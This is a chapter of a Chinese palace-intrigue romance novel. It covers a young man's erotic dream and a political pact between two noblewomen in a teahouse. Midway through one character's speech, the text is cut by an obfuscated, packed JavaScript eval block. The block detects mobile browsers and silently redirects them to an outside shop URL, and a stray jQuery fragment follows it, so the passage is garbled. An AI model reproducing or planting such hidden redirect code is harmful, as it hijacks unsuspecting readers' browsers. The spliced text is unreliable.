雾气朦胧,裴少微只觉得烦躁,空气中像是被花瓣腌入味了,让他觉得整个人都飘飘然了。
缕缕幽香犹如给他编织的情网,要将他捕入陷阱,裴少微站在原地隐隐约约的分不清方向。
雾气里挂着垂缦薄纱,宛如妖境洞府,他想要提起十二分精神,但又脑海中混沌一片,只能朦朦胧胧站在原地。
忽然耳畔传来一道水声,他透过层层薄纱看到一名女子在池水里,他挑开薄纱向着那人走去,疑惑道:“这是什么地方?”
紧接着他站住不动了,因为他发现那姑娘是在水里的,虽然穿着衣裳,但是浸了水到是不好。
哗啦啦的水声响起,那姑娘也不说话,直接出了水向他走过来,在挑开帘子的前一瞬,裴少微赶紧闭上了眼睛,这可不成。
那人双手环住他的肩膀,脸颊贴在他脖颈间,呵气如兰,“嗯?”
“假正经。”
闻言裴少微睁开了眼睛,咬牙按住了她做乱的手,“燕兰星!”
燕兰星挑眉一笑,单手拂过自己的肩膀,衣裳湿淋淋的贴在自己身上,勾勒出令人心动的曲线,她双臂一伸,搭在裴少微脸上,语气里带了这无言的诱惑。
“你难道不想……亲我一下吗?”
裴少微盯着那抹艳红,觉得自己有些有不受控,他眼睛上像是蒙了一层雾,只遵守着内心最热切的欲望。
他缓缓低下头,想要品尝那道甘甜,却在将要吻住的那一刻,画面尽散,他一下子栽倒在了草地上,身前挡着一个娇小的少女,语气清脆,
“你们再喊他一句小胖子试试看,看我不打断你们的腿!”
周围的孩童吓得落荒而逃,他站起身还来不及感激,那小丫头反过身又是给他一脚,“呦,你当我是什么好东西呢。”
接着她揪住裴少微的衣领,眼前的面容迅速变化,又变成那个眉目艳丽神情嚣张的燕兰星,“现在,你还想亲我吗?”
话音刚落,裴少微只觉得浑身酥麻,灵魂似乎要飘到天际。
他猛的睁眼,只瞧见了青蓝色的床顶布幔。
思绪回笼,他意识到什么,紧接着脸黑如锅底,他深吸一口气掀开被子,看到里面的一片狼藉,脸色更是阴沉的要命。
真是……令人难以启齿。
外面天色很暗,星星都藏了下去,他以迅雷不及掩耳之势迅速销毁了证据,迅速洗了一个冷水澡,这才冲淡他心口消不去的火气。
完蛋了完蛋了完蛋了。
没关系的,他十五……呃十八岁的年纪,正是少年精气旺盛,这不是……啊啊啊啊怎么会是燕兰星!
那一瞬间,裴少微本就岌岌可危的少年心,又坍塌了一半。
离着中秋越来越近了,府中的下人都忙了起来,一边收拾着殿里,一边量体裁衣开始备秋冬的衣裳。
燕兰星这日刚量完,比这去年高了不少,屋里的丫鬟也量好了,只差了个燕宁,不知道他这几日抽了什么风,尽躲着她。
那日明明就是衣裳松垮了些,都是没露出多少来,几日过去,她都不在意了,怎么燕宁还是这般别扭。
她这样想着,抬脚换了个方向向着燕宁那边走去。
刚转过来她就瞧见了一道黑影,燕兰星指了指他,“燕宁,你给我站住!”
她这话一说完,燕宁已经没影了。
行,躲着她是吧。
燕兰星脾气上来,“三月,拿我的弓来。”
三月刚要开口应下,就见箐枝将一个小信拿过来,“姑娘,这是在咱院里发现的。”
“咱院里发现的?”
燕兰星有些狐疑,拿着折的四四方方的小信字翻了翻,到底是个什么东西,不好端端的送帖子,非要这样。
她刚一展开,只看了一眼就赶紧合上了。
沈菀邀约,醉仙楼,陈
就短短几个字就把燕兰星给拿捏的死死的。
沈菀怎么没过几日就跳出来搞事情,她到底要做什么啊!
燕兰星咬牙切齿,她将纸片撕的粉碎,“备马车,去醉仙楼。”
醉仙楼上悬着铜铃,飞檐流丹,高阁巍峨,不愧位列天下四楼之一,如此俯瞰皇城,给人一种飘然若仙之感。
沈菀站在窗前,屋子内茶香袅袅,她今日带了遮面,窗外的风吹进来,白色轻纱向后拂起,宛若仙人。
听见动静,她转过身来,“你来了。”
燕兰星只带了三月,她将自己遮的严实,连身上的簪子都素了些,她脸色有些难看,“你找我是做什么?”
沈菀坐下,面上还带着浅笑,“先坐下,当然是找你有……好事情啊。”
燕兰星才不信她的鬼话,只觉得沈菀这个人让她琢磨不透。
刚坐下,沈菀开口,“我听闻三殿下被贬了?”
燕兰星没好气的说道:“你这消息可真是灵通。”
“过奖,听闻三殿下是因为招惹了你所以才被贬。”
沈菀一眨不眨的看着燕兰星,不错过她一丝的表情变化,又夸了句。
“小郡主,好手段。”
燕兰星皮笑肉不笑,“你说什么?我都听不懂。”
沈菀也没再抓着她不放,直接步入正题,“户部多出来一个空缺,圣上有意让周径明去户部……”
燕兰星心一沉,周径明是御史中丞郭杨的门生,而郭杨是当年的主和派,专爱弹劾武将,认为国家动武劳民伤财,应徐徐图之。
周径明如果上任户部尚书,那今年的粮草,难要了。
沈菀悠然一笑,“想明白利害关系了吗?我国公府位列三公,朝中也有许多门生,现在圣上还未定夺,你想好了吗?”
她一一给她分析,
“你家是初出茅庐的武将,那朝堂上的都是屹立几百年的世家,你燕家能在里面杀出来一条血路,我佩服你的父亲。所以燕小郡主,你忍心看着你家在这上面栽跟头吗?你知道的,前方边境绝地,差一厘一毫都能要了命。”
燕兰星心烦意乱,手指在桌面上敲了敲,“你到底要做什么!”
“我想帮你。”
“说实话。”
沈菀双手摊开,“我真的是想帮你,我能有什么坏心思呢?”
燕兰星却不上当,一针见血,“你说这句话的底气是什么?我第一次见你,明明你在宅内也处处受限。”
沈菀笑了,“你说国公府上的那些女眷?陪着她们玩玩罢了,要不然又要拿三从四德来压我,我都听的倦了。”
“她们在四方宅院里争得是主家宠爱,而我不在四方院内,我根本就不需要争这些。”
“你问我有什么底气,整个国公府的权利就是我都底气,我不是依靠它,而是掌控它,要不你以为国公府怎么能壮大到现在,靠我那个埋在温柔乡里的父亲吗?”
沈菀神色平淡,最深处才透出野心来,
“国公府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450798|137626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的实际掌权人是我。”
国公府的实际掌权人是沈菀?是一个女子?
燕兰星深吸一口气,好久才将它消化下去,“条件?”
沈菀看着她,“我安排沈氏门生入户部,你带陈宥临进燕家军。”
燕兰星想也没想就回绝了,“不行!”
茶雾漂浮在二人中间,两人眼睛里都是寸步不让。
良久,沈菀开口,“先听我说,我会给他换一个身份。”
燕兰星还是脸色不虞,“你以为什么都能瞒得了圣上的眼睛吗?”
“以前不可以,现在却不一定。”沈菀接口道。
燕兰星沉默了一会,“为什么非要进燕家军,帮陈家你到底有什么好处?”
沈菀慵懒道:“陈家原本就是在北疆打下来的功名,你只管将人带去,生死不论。帮陈家对我没有什么好处,就当是我突发善心。”
燕兰星觉得沈菀在撒谎,但也没深究。
“还有一个问题,以沈家的势力你安排陈宥临的位置轻而易举,为什么要找我。”
沈菀摇了摇手指,“不,你也不要把沈家想的太厉害,它外表上光鲜亮丽,内里已经空了,而为什么寻你。”
她细细的打量了下燕兰星,“我觉得你跟我是一样的人,只不过你需要打磨一下。”
“所以你要不要答应。我会给他安排一个天衣无缝的身份,不会连累到你家的。”
燕兰星还是不相信,“你确定?”
“当然。”
“好!”燕兰星盯着沈菀,“你若是食言,我就杀了你。”
“当然不会。”
屋子里一下子静下来,燕兰星沉默了下,开口道:“沈菀,你真是离经叛道。”
沈菀站起身,她将另外半扇窗子也推开,脸侧向一边,让人看不清她的神情。
她似乎笑了下,“离经叛道,离哪本经?判何方道?”
“自我年幼,祖父便将我带到身边,他常叹我不是男儿身,我唯一的哥哥被人陷害,身子病弱。我若是男子,这三年状元会尽败我手,上了朝堂,也会有我的一席之地,”
“我常叹命运不公,不是为我女儿身,而是恨女子为何不能入朝堂。”
沈菀说到最后,带了真切的恨意。
这话说的太放肆,女子不入官,女子不听学,这可是开国元祖定的规矩,燕兰星惊了一下,紧接着恢复过来。
“你这话倒是大胆。”
沈菀嗤笑一声,“我日后还要做更大胆的事,你且看罢,我要做的从不是小事,燕兰星,你往前看,历史趋向既定,我们都无法挣脱既定轨道。”
“我们都逃不过去,唯有……掀翻了这天。”
砰,一阵风掀过来,吹拂起两人的衣袖,此番话足以给二人带来灭顶之灾。
燕兰星猛的起身,“慎言!”
沈菀不以为然,“日后会证明我的话,而这一天不会太远,燕兰星,你没有被三从四德规训过,你是我挑中的人。”
她神秘一笑,“你会明白的,我是你的引路人。”
这番话石破天惊,震得燕兰星心口发麻,又有什么东西在心口破土而出,最后才被她压抑在本性之下。
她张了张嘴,最后只是道:“你疯了。”
沈菀的目光越过长街小巷,穿过拥挤的摊贩人潮,遥望中城皇殿。
她是疯了,从太子身死的那一天,她就疯了。